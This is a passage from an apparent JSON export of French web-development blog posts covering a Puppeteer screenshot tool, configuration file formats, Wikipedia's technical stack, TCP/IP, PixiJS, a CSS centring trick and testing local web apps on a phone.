d'**ajouter les balises OpenGraph afin d'avoir de jolis partages sur les réseaux sociaux pour mes clients** et maximiser le succès des liens vers le site.\n\n> Si tu ne connais pas bien OpenGraph, [j'ai écrit un article dessus que je t'invite à lire !](https://code-garage.fr/blog/comment-personnaliser-le-partage-de-votre-site-sur-les-reseaux-sociaux-avec-opengraph/)\n\nIl est indispensable d'avoir un visuel attaché au lien partagé, sinon le rendu des publications est vraiment terne et n'incite pas à cliquer dessus. Parfois des visuels sont préparés exprès pour le site avec l'équipe design et social média, **mais pour les projets les plus modestes, un simple screenshot de chaque page suffit.**\n\n**Le problème est que l'opération peut-être chronophage quand le site en question est composé de dizaines de pages** et qu'il faut prendre toutes les captures d'écran, de les ajouter dans les ressources du site puis de les assigner à chaque page.\n\n**Alors j'ai créé un petit outil pour me faciliter la tâche** et automatiser une partie du processus, ça s'appelle Peek !\n\n## C'est quoi Peek ?\n\nPeek est un petit utilitaire écrit sous NodeJS et utilisant la puissante de Puppeteer pour **automatiser la prise de screenshot d'un site web** (ou d'une application) à partir de quelques informations de base :\n\n* Un **nom de domaine** (même localhost)\n* Une **liste de routes** (comme /contact, /team, etc...)\n* Une **résolution** (hauteur et largeur)\n\n> Si vous ne savez pas ce qu'est Puppeteer, [voilà un article sur le sujet.](https://code-garage.fr/comment-crawler-parser-une-page-web-en-nodejs-avec-puppeteer-et-cheerio/)\n\nUne fois toutes les informations fournies, **Peek va charger chaque page indiquée,  va prendre un screenshot dans la résolution désirée et l'enregistrer dans son dossier \"screenshots\", simple, efficace.**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/01/cover.png)\n\n**Actuellement le projet fonctionne sous la forme d'un CLI assez facile d'accès**, mais je réfléchi à ajouter une interface plus user-friendly pour les personnes travaillant dans le marketing et les médias sociaux avec [Electron](https://code-garage.fr/electron-ou-comment-developper-des-applications-desktop-en-javascript-web/) par exemple !\n\n**Pour utiliser Peek, rien de plus simple**, rendez-vous directement sur [le projet Github et suivez les instructions](https://github.com/NicolasBrondin/peek) !\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/peek](https://github.com/NicolasBrondin/peek)\n:::\n\n_Si vous avez des pistes d'amélioration, ou envie de contribuer, n'hésitez pas à rajouter des issues sur le dépôt du projet et à faire des pull-requests que j'examinerai dès que j'ai un moment._\n\n","Un nom de domaine, une liste de routes et Peek se charge du reste !","un-outil-pour-automatiser-les-screenshots-de-sites-web","2021-01-15T01:08:00.000Z","2023-09-19T15:05:39.230Z","2021-01-15T08:07:36.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/c-d-x-5qT09yIbROk-unsplash.jpg","C D-X sur Unsplash","https://unsplash.com/@cdx2?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1285,"title":1286,"content":1287,"socialTitle":8,"description":1288,"socialDescription":8,"slug":1289,"createdAt":1290,"updatedAt":1291,"publishedAt":1292,"styleHead":8,"scriptFooter":1074,"seoTitle":8,"seoDescription":8,"legacyCover":1293,"coverCopyright":1294,"coverCopyrightLink":1295},174,"Les principaux formats de fichiers de données et de configuration","Lorsque vous devez passer des données de configuration à une application, **il existe de nombreux formats de fichiers disponibles**, certains plus connus que d'autres.\n\n**Il n'existe pas de format parfait, le but est toujours d'avoir un format à la fois complet, très lisible et facile à prendre en main**, mais les spécificités de chaque écosystème font que chacun d'eux est pertinent.\n\nL'objectif de cet article est de **vous faire découvrir et de vous familiariser avec des formats que vous ne connaissez pas forcément**, c'est pour le même jeu de données sera utilisé comme exemple à chaque fois.\n\n## Format INI\n\n**C'est un format majoritairement fait de paires clé-valeur mais avec la possibilité de séparer ces dernières par des sections.** Il est principalement utilisé dans l'environnement de Microsoft (sous l'extension .ini), mais une grosse partie des fichiers de configuration sur Linux est représentée par un format clé-valeur simplifié.\n\n```\n\n;List of all endpoints\n\n[request]\nid=request\nprotocol=https \ndomain=example.com\nuri=/request, \ndescription=\"Request enpoint\"\n\n[search]\nid=search\nprotocol=https \ndomain=google.com\nuri=/search, \ndescription=\"Search enpoint\"\n\n```\n\nLe format INI est particulier car en comparaison des autres formats présents dans cette liste, **c'est le seul à être \"informel\" car il n'est pas défini par une spécification stricte.**\n\n## Format CSV\n\nLe format CSV est un format conçu à l'origine pour représenter des tableaux en deux dimensions, **beaucoup utilisé pour exporter des données présentes dans des feuilles de tableurs (type Excel).**\n\n**Ce format est très simple et son nom explicite (comma-separated values) décrit très bien son fonctionnement.** Les commentaires ne sont pas prévus pour figurer dans un fichire CSV, uniquement des valeurs, et des virgules !\n\n```\n\nid, protocol, domain, uri, description\nrequest, https, example.com, /request, Request endpoint\nsearch, https, google.com, /search, Search enpoint\n\n```\n\n## Format XML\n\nCe format est très présent dans l'écosystème Java, mais aussi dans le web (de moins en moins). **Si XML est verbeux, il a l'avantage d'être très explicite, et surtout c'est le seul format qui prévoit dans sa spécification une technologie de validation** de la structure du fichier avec DTD !\n\n```\n\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n\u003C!-- List of all endpoints -->\n\u003Cendpoints>\n\t\u003Cendpoint id=\"request\">\n \t\u003Cprotocol>https\u003C/protocol>\n \u003Cdomain>example.com\u003C/domain>\n \u003Curi>/request\u003C/uri>\n \u003Cdescription>Request endpoint\u003C/description>\n \u003C/endpoint>\n \u003Cendpoint id=\"search\">\n \t\u003Cprotocol>https\u003C/protocol>\n \u003Cdomain>google.com\u003C/domain>\n \u003Curi>/search\u003C/uri>\n \u003Cdescription>Search endpoint\u003C/description>\n \u003C/endpoint>\n\u003C/endpoints>\n\n```\n\n## Format JSON\n\nSi vous avez fait du Javascript, alors vous savez ce qu'est le format JSON. **En réalité appelé \"JavaScript Object Notation\" il est utilisé dans tout l'écosystème Javascript**, NodeJS et prend de plus en plus de place dans le web en général.\n\n```\n\n[{\n \"id\": \"request\",\n \"protocol\": \"https\", \n \"domain\":\"example.com\"\n \"uri\":\"/request\", \n \"description\":\"Request enpoint\"\n},\n{\n \"id\":\"search\",\n \"protocol\":\"https\" \n \"domain\":\"google.com\"\n \"uri\":\"/search\", \n \"description\":\"Search enpoint\"\n}]\n\n```\n\n**Le format JSON est aussi utilisé par certaines bases de données NoSQL** pour stocker les données et construire les requêtes, c'est le cas avec [MongoDB](https://www.mongodb.com/) par exemple.\n\n## Format YAML\n\nLe YAML (dont le nom est un acronyme récursif pour \"YAML Ain't Markup Language\") est un format mettant en opposition **la simplicité de lecture avec une certaine complexité d'écriture dû aux nombreux types de données, à l'indentation par espace obligatoire, etc...**\n\n**Les types données et de structures ajoutés à YAML 1.2 en fait notamment un \"sur-ensemble\" (superset) de JSON** avec l'arrivée des listes \"\\[...\\]\" et des maps \"{...}\", il est donc possible de décrire des architectures de données complexes.\n\n```\n\n---# List of all endpoints\n\n- request:\n protocol: https\n domain: example.com\n uri: /request \n description: Request enpoint \n- search:\n protocol: https\n domain: google.com\n uri: /search\n description: Search enpoint\n \n```\n\n## Format TOML\n\nCe format, un acronyme pour \"Tom's Obvious, Minimal Language\" est **un nouvel arrivant (il existe depuis 2013, mais la version 1.0 date de Janvier 2021) et combine les bons côtés de plusieurs des formats cités ci-dessus.**\n\nPour l'instant les utilisations de ce format reste assez peu nombreuses mais il est par exemple utilisé pour la configuration de l'outil [Cargo](https://doc.rust-lang.org/cargo/index.html), le gestionnaire de paquets de Rust.\n\n```\n\n#List of all endpoints\n\n[endpoints]\n [endpoint.request]\n protocol=\"https\" \n domain=\"example.com\"\n uri=\"/request\", \n description=\"Request enpoint\"\n\n [endpoint.search]\n protocol=https \n domain=google.com\n uri=/search, \n description=\"Search enpoint\"\n\n```\n\n**TOML propose une structure complexe mais lisible et facilement éditable**, possède des commentaires, de l'indentation mais facultative, et reste implémentable beaucoup plus facilement que YAML étant donné sa spécification plus légère.\n\n","Connaissez-vous les formats YAML, TOML, INI, CSV, JSON et CSV ?","principaux-formats-fichiers-donnees-configuration-json-yaml-toml-xml-ini-csv","2021-01-18T17:11:14.000Z","2023-10-04T15:22:01.268Z","2021-01-19T10:16:52.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/lorenzo-herrera-p0j-mE6mGo4-unsplash.jpg","Lorenzo Herrera sur Unsplash","https://unsplash.com/@lorenzoherrera?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1297,"title":1298,"content":1299,"socialTitle":8,"description":1300,"socialDescription":8,"slug":1301,"createdAt":1302,"updatedAt":1303,"publishedAt":1304,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1305,"coverCopyright":1306,"coverCopyrightLink":1307},176,"La stack technique derrière Wikipédia, 20 ans de réussite","Le 15 Janvier 2001, Wikipedia voit le jour, **créé par Jimmy Wales et Larry Sanger, les fondateurs de la société Bomis et de l'encyclopédie en ligne Nupedia.**\n\nNupedia est alors une encyclopédie rédigée par des experts suivant un processus très formel, contrairement à **Wikipedia dont le fer de lance sera la collaboration, philosophie qui fait sa réussite aujourd'hui.**\n\n**À l'origine, Wales et Sanger envisagent de tirer profit de Wikipedia**, mais les inquiétudes grandissantes de la communauté envers, notamment, l'apparition de pub sur la plateforme poussent Wales à renoncer à son envie de monétiser l'encyclopédie et migre wikipedia.com vers wikipedia.org.\n\nEn 2003, Nupedia est définitivement absorbé par Wikipedia, et tout son contenu sera injecté dans ce dernier qui ne cessera de grandir, de s'exporter **jusqu'à devenir le 13ème site le plus consulté sur Internet en 2020 ([Alexa rank)](https://www.alexa.com/topsites).**\n\nLa même année, la fondation WikiMedia sera créée afin que **la gestion de Wikipedia (et des quelques autres services) puisse être déléguée et réalisée de manière indépendante.**\n\n## La stack technique\n\nIl est intéressant de voir qu'au fil des années, plus les nouvelles technos apparaissent dans le web et plus on a l'impression que les \"anciennes\" technologies web ne sont plus suffisamment performantes pour faire tourner de grosses plateformes.\n\n> Et pourtant, vous allez voir que **l'un des sites les plus visités au monde est basé sur une \"simple\" stack PHP / MySQL !**\n\nReprenons dans l'ordre, **Wikipédia tourne sur une plateforme libre et open-source appelée MediaWiki** et développée spécialement pour le lancement de Wikipédia.\n\nCette plateforme est développée en **PHP**, la majorité de la base de code tournant sous la version 7 de PHP, et utilise **MySQL** comme base de données.\n\n> À noter que c**ertains serveurs de base de données de Wikipédia tournent sous MariaDB**, un fork libre et open-source de MySQL (ce dernier appartenant à Oracle).\n\nLa recherche des articles et effectuées grâce à **Elastic Search**, la stratégie de \"caching\" utilise **Apache Traffic Server (ATS)** ainsi que **Varnish** et le serveur d'application est un serveur **Apache**.\n\nEn 2015, la fondation WikiMedia comptait **520 serveurs dans leur datacenter d'Ashburn**, sans compter les serveurs localisés à d'autres endroits pour la redondance des données.\n\nCes serveurs tournent majoritairement sous **Linux Debian**, mais quelque-unes des machines les plus anciennes fonctionnent sous **Ubuntu** (peut-être plus le cas aujourd'hui).\n\n> Vous pouvez retrouver certaines de ces informations sur [la page Wikipédia dédiée](https://en.wikipedia.org/wiki/Wikipedia:FAQ/Technical).\n\n## Quelques statistiques\n\nUne stack technique c'est intéressant, surtout si l'on peut avoir quelques données sur la charge moyenne qu'elle est capable de supporter, et heureusement [WikiMedia est très transparent](https://en.wikipedia.org/wiki/List_of_Wikipedias) là-dessus :\n\n* Plus de **55 millions d'articles** dans le monde (soit 228 millions de pages au total)\n* Environs **3 milliards d'éditions** au total\n* Plus de **93 millions d'utilisateurs** inscrits\n* Le site est disponible dans **317 langues** (à noter que Wikipédia n'est pas le site le plus traduit au monde, c'est le site jw.org avec 1025 langues différentes)\n* La base des textes des articles (sans révisions) de la version anglaise pèse 78Go (et peut être téléchargée [juste ici](https://en.wikipedia.org/wiki/Wikipedia:Database_download#Where_do_I_get_it?)), **la version complète de la base anglaise pèse plus de 10 To.**\n* En 2020, en.wikipedia.org a totalisé le nombre de **94 313 066 229 pages vues** ! ([source](https://pageviews.toolforge.org/siteviews/?platform=all-access&source=pageviews&agent=user&start=2020-01&end=2020-12&sites=en.wikipedia.org))\n\nEn 2020, la fondation emploie plus de **300 personnes avec un revenu annuel dépassant les 100 millions de dollars**, principalement basé sur des dons.\n\n## Fun fact\n\n**Wikipédia est un champ de bataille pour de nombreux bots**, automatisant des éditions d'articles sur des sujets parfois controversés. Certains d'entre-eux sont bloqués dans des boucles, modifiant la même donnée encore et encore, parfois pendant plusieurs années.\n\n> [Un article du Guardian](https://www.theguardian.com/technology/2017/feb/23/wikipedia-bot-editing-war-study) en parle, je vous invite à le lire si ça vous intéresse !","Pour l'anniversaire de la plateforme, découvrez la face cachée de l'encyclopédie collaborative la plus populaire au monde !","la-stack-technique-derriere-wikipedia-20-ans-de-reussite","2021-01-21T08:18:15.000Z","2023-09-22T13:53:49.746Z","2021-01-21T10:35:35.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/glen-noble-o4-YyGi5JBc-unsplash.jpg","Glen Noble sur Unsplash","https://unsplash.com/@glennoble?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1309,"title":1310,"content":1311,"socialTitle":8,"description":8,"socialDescription":8,"slug":1312,"createdAt":1313,"updatedAt":1314,"publishedAt":1315,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1316,"coverCopyright":1317,"coverCopyrightLink":1318},177,"TCP/IP : qu'est-ce que c'est et comment ça fonctionne ?","TCP/IP est l'une des implémentations du \"packet-switching\" (ou commutation de paquet) et constitue **la base de notre internet moderne**.\n\n> Si vous voulez en savoir plus sur l'origine et l'histoire d'Internet, [découvrez notre article à ce sujet !](https://code-garage.fr/blog/quelles-sont-les-origines-d-internet-arpanet/)\n\n**Autrement dit c'est une manière de transmettre des données en les découpant en plusieurs paquet**s de taille réduite pour les envoyer sur le réseau.\n\nContrairement à ce que l'on entend souvent, **TCP/IP n'est pas un protocole, mais une suite de protocole** (généralement connue sous le nom de \"Internet Protocole Suite\").\n\n> Chaque paquet de données contient deux \"boîtes\" imbriquées :  la partie TCP (petite boîte) et la partie IP (grosse boîte)\n\n**L'IP contient les informations sur l'adresse de l'expéditeur et du destinataire**, afin que le paquet soit bien transmis sur le réseau et arrive à la bonne machine distante. **De son côté TCP va s'assurer que la machine expéditrice puisse être tenu au courant si le paquet n'est pas arrivé à destination** et gérer le renvoie des données si besoin.\n\n**On parle d'encapsulation car le segment TCP est encapsulé (inclus) dans le datagramme IP**, car il faut d'abord que le paquet arrive à la bonne machine identifiée par son adresse pour que les données soit distribuées à la bonne application identifiée par son port (80 pour HTTP, 22 pour SSH, 21 pour FTP, etc...)\n\nAfin de pouvoir fournir les informations d'erreur de transmission, **TCP doit établir une \"connexion\" entre l'expéditeur et le destinataire**, c'est pour celà que l'on parle de protocole en mode connecté.\n\nUne session TCP fonctionne en trois phases :\n\n* **Ouverture** de la connexion\n* **Transfert** des données et gestion des erreurs\n* **Fermeture** la connexion\n\nVoici le datagramme de la première couche (IP) :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/1200px-IPv4_Packet_-en.jpg)\n\nDatagramme IP (source: wikipedia)\n\nIl y a beaucoup de données différentes mais les plus importantes sont les suivantes :\n\n* \"Protocol\" indique **le type de protocole utilisé** pour acheminer les données contenues dans \"data\". Par exemple pour le protocole TCP, la valeur de ce champ sera égale à 0110 (6 = TCP).\n* \"Source address\" contient l'adresse IP de la **machine ayant envoyé le paquet**\n* \"Destination address\" contient l'adresse IP de la **machine censé recevoir le paquet**\n* \"Data\" contient les **données à transporter.**\n\nIci le contenu de \"Data\" sont les données TCP, dont le datagramme est disponible ci-dessous :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture-6.JPG)\n\nSegment TCP contenu dans la section Data du datagramme IP (source: wikipedia)\n\nLa trame TCP contient diverses informations (en plus des données encapsulées) notamment pour **le routage** (les deux adresses de ports au début de la trame), mais aussi **des données de gestion d'erreurs** : pour vérifier que les paquets arrivent bien dans le bon ordre, et qu'ils sont tous au complet afin de conserver l'intégrité des données.\n\n## Et ensuite ?\n\n**Tous les protocoles \"applicatifs\" utilisent cette suite de protocoles en encapsulant eux-même leur données à l'intérieur de ces datagrammes**, qui seront acheminé sur le réseau par les mécaniques expliquées précédemment.\n\nTout les outils que vous utilisez quotidiennement ont le même fonctionnement sous-jacents : HTTP, FTP, SMTP, etc... car **ils ont la même vision du réseau Internet au travers de TCP/IP**.\n\n> Attention néanmoins, certains protocoles applicatifs utilisent non pas la suite TCP/IP mais UDP/IP dont j'expliquerai la différence dans un prochain article !\n\nC**haque paquet va traverser le réseau, de passerelle en passerelle grâce à l'adresse IP du destinataire qu'il contient**, en renvoyant les paquets perdus en chemin. Une fois reçu, le paquet sera acheminé au port contenu dans la trame TCP pour le fournir à la bonne application.\n\nLorsque chaque paquet constituant une donnée unique aura été reçu, **ils seront fusionnés et seront enfin utilisables par l'application en question**. Si la machine cible souhaite envoyer une réponse, elle aura l'adresse complète (IP et port) de la machine d'origine, **il ne lui suffira plus qu'à renvoyer des paquets dans l'autre sens !**\n\n","tcp-ip-comment-ca-fonctionne","2021-01-22T07:08:58.000Z","2023-09-22T08:27:23.186Z","2021-01-22T09:46:25.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/chuttersnap-fyaTq-fIlro-unsplash.jpg","CHUTTERSNAP sur Unsplash","https://unsplash.com/@chuttersnap?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1320,"title":1321,"content":1322,"socialTitle":8,"description":1323,"socialDescription":8,"slug":1324,"createdAt":1325,"updatedAt":1326,"publishedAt":1327,"styleHead":8,"scriptFooter":1328,"seoTitle":8,"seoDescription":8,"legacyCover":1329,"coverCopyright":1330,"coverCopyrightLink":1331},178,"PixiJS, le moteur WebGL 2D (et canvas) le plus populaire","L'intitulé de mon premier poste en tant que développeur (en dehors de mes missions de freelance) était : Game Developer.\n\n**Mon rôle était de développer des outils d'apprentissage basés sur des jeux et des activités interactives sur le web** et le mobile pour de grandes entreprises françaises.\n\n**C'est à cette époque que j'ai découvert PixiJS**, que j'ai beaucoup utilisé pour faire ces jeux en HTML5 et que je vous présente aujourd'hui.\n\n## C'est quoi Pixi ?\n\n**PixiJS est la bibliothèque (et [non pas un framework](https://code-garage.fr/librairie-vs-framework-quelle-est-la-difference/)) de moteur de rendu WebGL la plus populaire en Javascript.**\n\n**On l'assimile souvent à un moteur de création de jeux en HTML5, mais il faut bien comprendre que Pixi ne contient que la partie \"moteur graphique\"**, et même si la bibliothèque embarque quelques mécaniques d'intéraction avec la souris, elle n'embarque aucun moteur physique (collision, gravité, etc...).\n\nCe qui signifie que si vous voulez l'utiliser pour créer un jeu, **il faudra vous même programmer les notions de physiques** (même basiques) de votre jeu.\n\n> Il existe beaucoup de tutoriels pour ça sur le web, et sinon vous pouvez passer par un moteur de création de jeu complet comme [PhaserJS](https://phaser.io/) !\n\n### Qu'est-ce que WebGL ?\n\n**WebGL, qui signifie \"Web Graphics Library\", est une API de programmation graphique intégrée dans les navigateurs web** et dont le rendu s'affiche sur un élément HTML de type \"canvas\", inspirée de la bibliothèque généraliste OpenGL.\n\n**Vous le savez, un canvas web est une toile blanche** sur laquelle on va pouvoir venir importer et dessiner des éléments graphiques de manière programmatique (avec du code).\n\nMais au lieu d'utiliser l'API de dessin fournie pour le canvas, on va pouvoir utiliser une API plus poussée (celle de WebGL) qui va notamment **permettre au navigateur d'exploiter les ressources de la carte graphique de la machine pour effectuer les calculs graphiques** (ce que l'on appelle l'accelération matérielle) plutôt que d'utiliser les ressources du CPU (processeur central).\n\n> Pour une même animation graphique, celle créé avec WebGL sera donc plus optimisée, **le rendu sera plus rapide et surtout plus fluide.**\n\n### Pourquoi utiliser Pixi ?\n\nMême si WebGL vous offre une librairie pour vulgairement \"dessiner\" sur cette toile blanche qu'est le canvas, **tout écrire à la main directement avec cette API peut être très long et le code devient vite très lourd à maintenir.**\n\nP**ixi va donc permettre d'abstraire une grande quantité de ce code pour vous fournir une API plus synthétique, mais aussi plus \"complète\".** Par exemple la bibliothèque va vous apporter des notions de \"containers\"(pour regrouper plusieurs éléments graphiques entre eux), d'animation de sprites, d'intéractions, etc...\n\n> Pour vulgariser, imaginez que WebGL c'est Microsoft Paint, et que Pixi c'est Photoshop, pour un même résultat, les efforts déployés sont très différents !\n\nVoici donc **quelques avantages qu'offre Pixi** :\n\n* Une API complète mais **facile d'accès**\n* **Compatible avec la majorité des navigateurs** (IE11 et plus) et mobile\n* **Fallback en canvas** si WebGL désactivé\n* **Intéractions souris et tactiles** intégrées (clic, drag&drop, etc...)\n* De nombreux **plugins**\n* ...\n\n## Comment on l'utilise ?\n\n**Vous allez voir que l'utilisation de Pixi est vraiment abordable** pour la plupart des développeurs web et ne demande qu'une connaissance au final assez basique de Javascript.\n\n> Bien sûr comme tous les moteurs de rendu graphique, **la complexité peut très vite augmenter selon le projet.**\n\n**Ci-dessous, vous trouverez un petit exemple (tiré de la documentation de Pixi et légèrement customisé) d'une animation intéractive**, contenant une image qui tourne et qui grossie lorsque vous cliquez dessus.\n\n> J'aurais pu vous montrer un exemple de jeu, mais j'ai préféré vous présenter la librairie avec un exemple de code simple !\n\n**Si vous voulez découvrir d'autres exemples, [il y en a beaucoup sur le site officiel](https://pixijs.io/examples/#/demos-basic/container.js)**, et certains sont vraiment impressionants par rapport à la taille du code pour les produire !\n\n```\n\u003Cscript type=\"text/javascript\" src=\"https://cdnjs.cloudflare.com/ajax/libs/pixi.js/5.1.3/pixi.min.js\">\u003C/script>\n\u003Cscript type=\"text/javascript\">\n // Scale mode for all textures, will retain pixelation\n PIXI.settings.SCALE_MODE = PIXI.SCALE_MODES.NEAREST;\n \n const app = new PIXI.Application({ backgroundColor: 0xf1c40f,width: 300, height: 300, view: document.getElementById(\"canvas\") });\n const sprite = PIXI.Sprite.from('/content/size/w100/2020/02/IMG_1989.jpg');\n // Set the initial position\n sprite.anchor.set(0.5);\n sprite.x = app.screen.width / 2;\n sprite.y = app.screen.height / 2;\n // Opt-in to interactivity\n sprite.interactive = true;\n // Shows hand cursor\n sprite.buttonMode = true;\n // Pointers normalize touch and mouse\n sprite.on('pointerdown', onClick);\n \n app.stage.addChild(sprite);\n\n function onClick() {\n sprite.scale.x *= 1.1;\n sprite.scale.y *= 1.1;\n }\n \n // use delta to create frame-independent transform\n app.ticker.add(function(delta){\n sprite.rotation -= 0.01 * delta;\n });\n\u003C/script>\n```\n\n**Pour commencer à utiliser Pixi, je vous invite à vous rendre sur la documentation officielle**, et vous pourrez commencer à vous amuser en quelques minutes : [https://www.pixijs.com/](https://www.pixijs.com/)\n\n::: bookmark\n[![](http://www.pixijs.com/img/facebook.png)PixiJS](https://www.pixijs.com/)\n:::","Vous voulez créer des jeux en HTML5 ? Pixi peut vous servir de moteur graphique 2D !","pixijs-le-moteur-graphique-webgl-2d-et-canvas-le-plus-populaire","2021-01-25T08:11:50.000Z","2023-09-21T13:05:41.463Z","2021-01-25T10:37:32.000Z","\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>\n\u003Cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/pixi.js/5.1.3/pixi.min.js\">\u003C/script>\n\u003Cscript type=\"text/javascript\">\nconst app = new PIXI.Application({ backgroundColor: 0xf1c40f,width: 300, height: 300, view: document.getElementById(\"canvas\") });\n\n// Scale mode for all textures, will retain pixelation\nPIXI.settings.SCALE_MODE = PIXI.SCALE_MODES.NEAREST;\n\nconst sprite = PIXI.Sprite.from('/content/images/size/w100/2020/02/IMG_1989.jpg');\n\n// Set the initial position\nsprite.anchor.set(0.5);\nsprite.x = app.screen.width / 2;\nsprite.y = app.screen.height / 2;\n\n// Opt-in to interactivity\nsprite.interactive = true;\n\n// Shows hand cursor\nsprite.buttonMode = true;\n\n// Pointers normalize touch and mouse\nsprite.on('pointerdown', onClick);\n\n// Alternatively, use the mouse & touch events:\n// sprite.on('click', onClick); // mouse-only\n// sprite.on('tap', onClick); // touch-only\n\napp.stage.addChild(sprite);\n\nfunction onClick() {\n sprite.scale.x *= 1.1;\n sprite.scale.y *= 1.1;\n}\n app.ticker.add((delta) => {\n // rotate the container!\n // rotate the container!\n // use delta to create frame-independent transform\n sprite.rotation -= 0.01 * delta;\n});\n\n\u003C/script>","https://cellar-c2.services.clever-cloud.com/content/2021/01/ryan-quintal-Rt0fXXXvf4w-unsplash.jpg","Ryan Quintal sur Unsplash","https://unsplash.com/@ryanquintal?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1333,"title":1334,"content":1335,"socialTitle":8,"description":1336,"socialDescription":8,"slug":1337,"createdAt":1338,"updatedAt":1339,"publishedAt":1340,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1341,"coverCopyright":1342,"coverCopyrightLink":1343},179,"CSS : Comment centrer un élément qui dépasse de son parent ?","Il existe des dizaines de manières de centrer (verticalement ou horizontalement) un élément dans son parent en CSS **lorsque le parent est plus grand que son contenu.**\n\n**Mais lorsque c'est l'inverse qui se produit ça devient plus compliqué**, surtout si l'un comme l'autre ont des tailles variables.\n\n> Ce n'est pas réellement plus compliqué, vous allez voir que le code est très simple, mais il fallait en avoir l'idée.\n\n**Cette problématique peut notamment arriver lorsque vous souhaitez afficher une vidéo qui doit couvrir tout l'écran (et être centrée), peu importe son ratio**, personnellement c'est pour régler ce problème que j'ai eu recours à cette solution.\n\n> **La même problématique n'arriverait pas forcément avec une image**, car on pourrait la passer en \"background-size: cover;\" et \"background-position: center center;\"\n\n**Sauf qu'on ne peut pas faire ça à chaque fois !** Alors voici le morceau de CSS qui va vous permettre de centrer (verticalement ou horizontalement) un élément enfant plus grand que l'élément dans lequel il est contenu.\n\n## La solution\n\nVoici le petit morceau de code qui peut vous faire gagner pas mal de temps :\n\n```\n.child {\n position: relative;\n top: 50%;\n transform: translateY(-50%);\n}\n```\n\nVous voyez, c'est très simple, c'est universel et ça marche partout ! Si vous pensez que c'est de la magie, **continuez de lire l'article, je vous explique le fonctionnement de cette technique.**\n\n> À noter que la solution fonctionne aussi quand le parent est plus grand et est compatible avec tous les navigateurs ([97,98%, IE9+](https://caniuse.com/transforms2d)) !\n\n## Résultat\n\n.parent { width: 300px; height: 200px; padding: 20px; box-sizing: border-box; border-radius: 5px; box-shadow: 0px 0px 10px 5px rgba(0,0,0,0.1); } .child { position: relative; background-color: #2c3e50; border-radius: 5px; width: 100%; height: 300px; top: 50%; transform: translateY(-50%); }\n\n> **Ici j'ai choisi de ne pas mettre \"overflow: hidden;\" sur l'élément parent pour vous montrer où se passe l'overflow**, mais à vous de décider de le cacher ou non selon votre cas d'usage !\n\n## Explication\n\n**La propriété \"top\" en CSS, lorsqu'elle est utilisée avec un pourcentage, permet de déplacer l'élément enfant rapport à son parent** positionné le plus proche (tout sauf position: static).\n\n**Le pourcentage est donc relatif à la taille du parent** (en l'occurence la hauteur), \"top: 50%;\" vient donc placer le haut de l'élement enfant à la moitié de la hauteur du parent.\n\nMais là où l'astuce est savante, c'est que **pour la propriété \"transform: translateY(n%);\" le pourcentage est équivalent à la hauteur de l'élément sélectionné** (ici l'élément enfant).\n\nDonc, pour un élément parent avec une hauteur de 200px et un élément enfant de 300px, **\"top: 50%\" sera égal à 100px**, tandis que **\"translateY(-50%);\" sera égal à -150px.**\n\n**100 - 150 = -50px, le haut de l'élément enfant va donc se placer au dessus** (en overflow) du haut de l'élément parent, et sera donc centré.\n\nÀ l'inverse, **si le parent fait 400px de haut, le calcul sera égal à 50px et sera aussi centré** mais sans dépassement cette fois !\n\n","D'habitude ce n'est pas la taille qui compte, mais là un peu quand même...","css-comment-centrer-un-element-qui-depasse-de-son-parent","2021-01-25T22:01:56.000Z","2023-09-19T15:05:39.422Z","2021-01-26T08:15:12.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/ruslan-bardash-4kTbAMRAHtQ-unsplash-1.jpg","Ruslan Bardash sur Unsplash","https://unsplash.com/@ruslanbardash?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1345,"title":1346,"content":1347,"socialTitle":8,"description":1348,"socialDescription":8,"slug":1349,"createdAt":1350,"updatedAt":1351,"publishedAt":1352,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1353,"coverCopyright":1354,"coverCopyrightLink":1355},180,"Comment tester son application web en local sur son téléphone ?","Aujourd'hui, les navigateurs web sont dotés d'outils formidables pour faciliter la vie des développeurs, notamment pour tester **les différentes tailles d'écrans de pc, de tablettes, de téléphones, etc...**\n\nSauf qu'entre un navigateur qui simule une taille d'écran de smartphone, et **un vrai smartphone, il y a de vraies différences, notamment** :\n\n* La gestion du viewport\n* Le ratio de densité de pixel\n* Le user-agent\n* La gestion des vidéos et de l'auto-play\n* etc...\n\nAlors bien sûr il est possible d'avoir une version de dev privée hébergée en ligne pour y accéder avec son smartphone, mais **devoir déployer son projet à chaque fois pour tester des problématiques liés au téléphone va vite vous faire perdre un temps fou !**\n\n> Et puis ce n'est pas vraiment une solution \"propre\"\n\n## La solution\n\nVous allez voir que la solution est très simple, il n'y a rien à installer et **rien à configurer, vous avez déjà tous les outils sous la main !**\n\n### Etape 1 : WiFi\n\nAssurez-vous que votre ordinateur et votre téléphone sont bien **connecté au même WiFi**, si ils ne le sont pas, faites-le !\n\n> Attention, je parle bien du WiFi, et non pas de la box, car les connexions sans-fil et Ethernet sont parfois gérés par deux 